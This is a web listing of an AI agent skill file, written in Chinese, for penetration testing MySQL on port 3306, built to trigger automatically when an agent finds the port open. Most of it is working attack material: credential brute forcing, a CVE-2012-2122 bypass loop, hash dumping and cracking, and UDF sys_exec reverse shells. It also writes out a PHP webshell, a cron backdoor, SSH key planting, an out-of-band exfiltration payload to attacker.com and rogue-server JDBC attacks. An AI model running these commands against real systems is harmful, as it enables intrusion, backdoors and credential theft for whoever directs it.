mysql-pentesting

$npx mdskill add wgpsec/AboutSecurity/mysql-pentesting

Execute MySQL penetration tests on exposed 3306 services.

  • Automate authentication bypass and privilege escalation attacks.
  • Leverages MySQL protocol and known CVEs for exploitation.
  • Triggers when port 3306 is detected as open by the agent.
  • Outputs detailed attack chains and proof-of-concept commands.

SKILL.md

.github/skills/mysql-pentestingView on GitHub ↗
---
name: mysql-pentesting
description: |
  MySQL 数据库服务(3306 端口)渗透测试方法论。涵盖 MySQL 服务发现与版本识别、默认凭据与匿名访问测试、数据库枚举、权限提升(UDF/文件读写/命令执行)、MySQL 注入利用、已知漏洞利用。
  当 Agent 扫描发现 3306 端口开放、需要测试 MySQL 认证强度、枚举数据库内容、或通过 MySQL 实现命令执行时,触发此 Skill。
metadata:
  tags:
    - mysql
    - 数据库
    - 3306端口
    - udf提权
    - 文件读写
    - sql注入
  category: exploit/network-service
---

# MySQL 渗透测试方法论 (3306)

## 深入参考

- UDF 提权、文件读写、Rogue Server、JDBC 利用、哈希破解完整命令 -> 读 [references/mysql-techniques.md](references/mysql-techniques.md)

---

## 整体决策树

```
发现 3306 端口开放
├─ Phase 1: 服务发现与版本识别
│   ├─ 确定 MySQL/MariaDB 版本
│   ├─ 识别操作系统与运行用户
│   └─ 检测 secure_file_priv / local_infile 配置
├─ Phase 2: 认证测试
│   ├─ 匿名/空密码登录
│   │   ├─ 成功 -> 直接进入 Phase 3
│   │   └─ 失败 -> 默认凭据 -> 暴力破解
│   ├─ 默认凭据 (root:空, root:root, root:toor 等)
│   └─ CVE-2012-2122 认证绕过 (MariaDB/MySQL 5.1.x)
├─ Phase 3: 数据库枚举
│   ├─ 库/表/列枚举 (information_schema)
│   ├─ 权限枚举 (SHOW GRANTS / mysql.user)
│   │   ├─ FILE 权限 -> 进入 Phase 4 文件读写
│   │   ├─ SUPER 权限 -> 进入 Phase 4 UDF
│   │   └─ 普通权限 -> 提取敏感数据,尝试密码复用
│   └─ 用户哈希提取 (mysql.user / mysql_hashdump)
├─ Phase 4: 权限提升
│   ├─ UDF 提权 (lib_mysqludf_sys)
│   │   ├─ Linux: .so 加载 -> sys_exec()
│   │   └─ Windows: .dll 加载 -> sys_exec() / NTFS ADS 目录创建
│   ├─ 文件读写
│   │   ├─ LOAD_FILE() 读取系统文件
│   │   ├─ INTO OUTFILE 写入 Webshell / .pth payload
│   │   └─ LOAD DATA LOCAL INFILE (客户端文件读取)
│   └─ MySQL 客户端 Shell (\! sh)
├─ Phase 5: MySQL 注入利用
│   ├─ UNION 注入 -> 信息泄露 / 文件读写
│   ├─ 带外注入 -> LOAD_FILE() + DNS/HTTP 外带
│   └─ Rogue MySQL Server -> 客户端文件窃取
└─ Phase 6: 已知漏洞
    ├─ CVE-2012-2122 — 认证绕过 (memcmp timing)
    ├─ CVE-2023-21971 — JDBC propertiesTransform RCE
    └─ Rogue/Fake MySQL Server 攻击 JDBC 客户端
```

---

## Phase 1: 服务发现与版本识别

### 1.1 端口扫描与版本探测

```bash
# Nmap 服务版本探测 + MySQL 专项脚本
nmap -sV -p 3306 --script mysql-info,mysql-enum <IP>

# Nmap 全量 MySQL 脚本扫描
nmap -sV -p 3306 --script "mysql-*" <IP>
```

### 1.2 Metasploit 版本探测

```bash
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS <IP>; run; exit'
```

### 1.3 运行用户与关键配置

```
识别 MySQL 运行身份
├─ 本地 Shell 已获取
│   ├─ cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep "user"
│   ├─ systemctl status mysql | grep "user"
│   └─ ps aux | grep mysql
└─ 仅 MySQL 连接
    ├─ SELECT @@version, @@datadir, @@basedir;
    ├─ SHOW VARIABLES LIKE 'secure_file_priv';
    ├─ SHOW VARIABLES LIKE 'local_infile';
    └─ SHOW VARIABLES LIKE 'plugin_dir';
```

**关键判断**:
- `secure_file_priv` 为空 -> 可任意路径读写文件
- `local_infile` 启用 -> LOAD DATA LOCAL 可用,也暴露 Rogue Server 攻击面
- MySQL 以 root 运行 -> UDF 提权后直接获取系统 root

---

## Phase 2: 认证测试

### 2.1 认证决策树

```
尝试连接 MySQL
├─ 1) 匿名/空密码
│   ├─ mysql -h <IP> -u root
│   ├─ mysql -h <IP> -u root@localhost
│   └─ Nmap: nmap --script mysql-empty-password -p 3306 <IP>
├─ 2) 默认凭据
│   ├─ root:(空) / root:root / root:toor / root:mysql
│   ├─ admin:admin / test:test / guest:guest
│   └─ debian-sys-maint:(从 /etc/mysql/debian.cnf 获取)
├─ 3) CVE-2012-2122 认证绕过
│   ├─ MariaDB / MySQL 5.1.x 受影响
│   ├─ 原理: memcmp 返回值截断,约 1/256 概率绕过
│   ├─ Nmap: nmap --script mysql-vuln-cve2012-2122 -p 3306 <IP>
│   └─ Metasploit: auxiliary/scanner/mysql/mysql_authbypass_hashdump
├─ 4) 暴力破解
│   ├─ hydra -t 4 -l root -P wordlist.txt <IP> mysql
│   └─ Metasploit: auxiliary/scanner/mysql/mysql_login
└─ 5) 本地提权路径
    ├─ /etc/mysql/debian.cnf 明文密码
    ├─ ~/.my.cnf / ~/.mylogin.cnf 凭据文件
    └─ auth_socket / unix_socket 插件 -> 本地 socket 无密码登录
```

### 2.2 本地 Socket 认证检测

当已获取目标 Shell 时,本地 socket 是最快的突破口:

```bash
# 检测 socket 文件
ls -l /run/mysqld/mysqld.sock /var/run/mysqld/mysqld.sock 2>/dev/null

# 检测凭据文件
ls -l /etc/mysql/debian.cnf ~/.my.cnf ~/.mylogin.cnf 2>/dev/null

# auth_socket 插件 -> OS 用户直接映射为 DB 用户
mysql -S /run/mysqld/mysqld.sock -u root -e \
  "SELECT user,host,plugin FROM mysql.user;" 2>/dev/null
```

---

## Phase 3: 数据库枚举

### 3.1 基础枚举

```bash
# 连接后执行
show databases;
use <database>;
show tables;
describe <table_name>;
select version();
select user();
select database();
```

### 3.2 权限枚举决策树

```
检查当前权限
├─ SHOW GRANTS FOR CURRENT_USER();
├─ SELECT * FROM mysql.user WHERE user=CURRENT_USER();
├─ 检查 FILE 权限
│   ├─ SELECT user,file_priv FROM mysql.user WHERE file_priv='Y';
│   ├─ 有 -> 标记进入 Phase 4 文件读写
│   └─ 无 -> 尝试其他提权路径
├─ 检查 SUPER 权限
│   ├─ SELECT user,Super_priv FROM mysql.user WHERE Super_priv='Y';
│   ├─ 有 -> 标记进入 Phase 4 UDF
│   └─ 无 -> 检查 CREATE/INSERT 等组合权限
└─ 自定义函数检查
    ├─ SELECT routine_name FROM information_schema.routines WHERE routine_type='FUNCTION' AND routine_schema!='sys';
    └─ 存在非系统函数 -> 可能已有 UDF 后门
```

### 3.3 用户哈希提取

```bash
# 从 MySQL 内部提取
SELECT user,authentication_string FROM mysql.user;

# Metasploit 自动化
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit'

# 从本地文件提取 (已获 Shell)
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```

### 3.4 Metasploit 自动枚举

```bash
msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit'
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit'
```

---

## Phase 4: 权限提升

### 4.1 UDF 提权决策树

```
MySQL 以高权限运行 + 拥有 FILE/SUPER 权限
├─ 获取 plugin_dir 路径
│   └─ SHOW VARIABLES LIKE '%plugin%';
├─ 获取 UDF 库文件
│   ├─ sqlmap: locate "*lib_mysqludf_sys*"
│   ├─ Metasploit: locate "*lib_mysqludf_sys*"
│   └─ 手动编译 raptor_udf2.c
├─ Linux (.so)
│   ├─ 通过 table blob 中转写入 plugin_dir
│   ├─ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so';
│   └─ SELECT sys_exec('reverse shell command');
├─ Windows (.dll)
│   ├─ 同上,使用 .dll 文件
│   ├─ plugin_dir 不存在? -> NTFS ADS 创建目录
│   │   └─ SELECT 1 INTO OUTFILE 'C:\\path\\plugin::$INDEX_ALLOCATION';
│   └─ SELECT sys_exec("net user attacker P@ss /add");
└─ 利用后清理
    └─ DROP FUNCTION sys_exec;
```

-> 读 references/mysql-techniques.md 获取完整 UDF 步骤

### 4.2 文件读写决策树

```
拥有 FILE 权限 + secure_file_priv 不限制
├─ 读取文件
│   ├─ SELECT LOAD_FILE('/etc/passwd');
│   ├─ SELECT LOAD_FILE('/etc/shadow');  # 需 mysql 用户有读权限
│   └─ SELECT LOAD_FILE('/var/lib/mysql-files/key.txt');
├─ 写入文件
│   ├─ Webshell
│   │   └─ SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/shell.php';
│   ├─ Python .pth RCE
│   │   ├─ 写入 .pth 到 site-packages 目录
│   │   ├─ .pth 中 import 语句自动执行
│   │   └─ 触发: 请求任意 Python CGI 脚本
│   ├─ SSH 公钥写入
│   │   └─ SELECT "<pubkey>" INTO OUTFILE '/root/.ssh/authorized_keys';
│   └─ Cron Job 写入
│       └─ SELECT "* * * * * root reverse_shell" INTO OUTFILE '/etc/cron.d/backdoor';
├─ 二进制数据写入
│   ├─ CONVERT(unhex("..."), BINARY)
│   └─ CONVERT(from_base64("..."), BINARY)
└─ 限制
    ├─ INTO OUTFILE 不能覆盖已有文件
    └─ 路径相对于 MySQL CWD,可用 ../../ 前缀调整
```

### 4.3 LOAD DATA LOCAL INFILE (客户端文件读取)

```
Rogue MySQL Server 攻击
├─ 原理: LOAD DATA LOCAL 时服务端可指定客户端读取任意文件
├─ 前提: 客户端 local_infile=ON (许多客户端默认开启)
├─ 工具
│   ├─ Rogue-MySql-Server (Python)
│   └─ mysql-fake-server (Java)
├─ 攻击流程
│   ├─ 启动 Rogue Server 监听 3306
│   ├─ 诱使目标连接 (DNS 劫持 / 配置篡改)
│   └─ 自动读取客户端本地文件 (/etc/passwd 等)
└─ JDBC 扩展
    ├─ allowLoadLocalInfile=true -> 文件读取
    └─ autoDeserialize=true -> 反序列化 RCE
```

### 4.4 MySQL 客户端 Shell

```bash
# 已连接到 MySQL 后,直接获取当前用户 Shell
\! sh
\! bash
\! id
```

---

## Phase 5: MySQL 注入利用

### 5.1 注入决策树

```
发现 MySQL 注入点
├─ UNION 注入
│   ├─ 确定列数: ORDER BY 递增 / UNION SELECT NULL,NULL,...
│   ├─ 信息收集: version(), user(), database()
│   ├─ 数据提取
│   │   ├─ UNION SELECT table_name FROM information_schema.tables
│   │   └─ UNION SELECT column_name FROM information_schema.columns WHERE table_name='...'
│   └─ 文件操作 (需 FILE 权限)
│       ├─ UNION SELECT LOAD_FILE('/etc/passwd')
│       └─ UNION SELECT ... INTO OUTFILE '/path/shell.php'
├─ 报错注入
│   ├─ extractvalue(1, concat(0x7e, (SELECT ...)))
│   └─ updatexml(1, concat(0x7e, (SELECT ...)), 1)
├─ 盲注
│   ├─ 布尔盲注: AND (SELECT ...) = 1
│   └─ 时间盲注: AND IF(..., SLEEP(5), 0)
├─ 带外注入 (OOB)
│   └─ SELECT LOAD_FILE(concat('\\\\', (SELECT ...), '.attacker.com\\a'));
└─ 空格绕过
    ├─ /**/ 注释替换
    ├─ /*!*/ 版本注释
    └─ %09 / %0a / %0d 替代空格
```

---

## Phase 6: 已知漏洞

### 6.1 漏洞检测决策树

```
MySQL 版本已知
├─ MySQL 5.1.x / MariaDB 特定版本
│   └─ CVE-2012-2122 认证绕过
│       ├─ 检测: nmap --script mysql-vuln-cve2012-2122 -p 3306 <IP>
│       └─ 利用: for i in $(seq 1 1000); do mysql -u root --password=bad -h <IP> 2>/dev/null; done
├─ MySQL Connector/J <= 8.0.32
│   └─ CVE-2023-21971 (propertiesTransform RCE)
│       ├─ 前提: 可控制 JDBC 连接字符串
│       └─ 利用: jdbc:mysql://<IP>:3306/test?propertiesTransform=com.evil.Evil
├─ 客户端连接 JDBC
│   ├─ allowLoadLocalInfile=true -> Rogue Server 文件读取
│   └─ autoDeserialize=true -> Rogue Server 反序列化 RCE
├─ Windows 目标
│   └─ Metasploit: exploit/windows/mysql/mysql_start_up (凭据执行)
└─ 通用检测
    └─ nmap -sV -p 3306 --script mysql-vuln* <IP>
```

### 6.2 哈希破解

```
提取到 MySQL 哈希
├─ mysql_native_password (MySQL 5.x)
│   ├─ Hashcat: hashcat -m 300 hashes.txt wordlist.txt
│   └─ John: john --format=mysql-sha1 hashes.txt
├─ caching_sha2_password (MySQL 8.x)
│   ├─ Hashcat: hashcat -m 21100 hashes.txt wordlist.txt
│   └─ John: john --format=mysql-sha2 hashes.txt
└─ 旧版 MySQL 3.x/4.x
    └─ Hashcat: hashcat -m 200 hashes.txt wordlist.txt
```

---

## 后渗透 — 本地审计检查清单

获取 Shell 后对 MySQL 配置的快速审计:

| 检查项 | 风险说明 |
|-------|---------|
| `secure_file_priv = ""` | 允许任意路径文件读写 |
| `local_infile = ON` | LOAD DATA LOCAL 可用,Rogue Server 攻击面 |
| MySQL 以 root 运行 | UDF 提权直接获取系统 root |
| `/etc/mysql/debian.cnf` 可读 | 含 debian-sys-maint 明文密码 |
| `~/.my.cnf` / `~/.mylogin.cnf` 存在 | 含用户凭据 |
| `auth_socket` 插件启用 | 本地 socket 无密码登录 |
| `skip-networking` 未设置 | 远程连接可用 |

### 关键配置文件路径

```
Linux
├─ /etc/my.cnf
├─ /etc/mysql/my.cnf
├─ /var/lib/mysql/my.cnf
├─ ~/.my.cnf
├─ ~/.mysql_history          # 命令历史
└─ /var/lib/mysql/mysql/user.MYD  # 用户哈希

Windows
├─ C:\Windows\my.ini
├─ C:\MySQL\data\
└─ <InstDir>\mysql\data\
```

-> 读 references/mysql-techniques.md 获取完整技术细节与命令参考

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|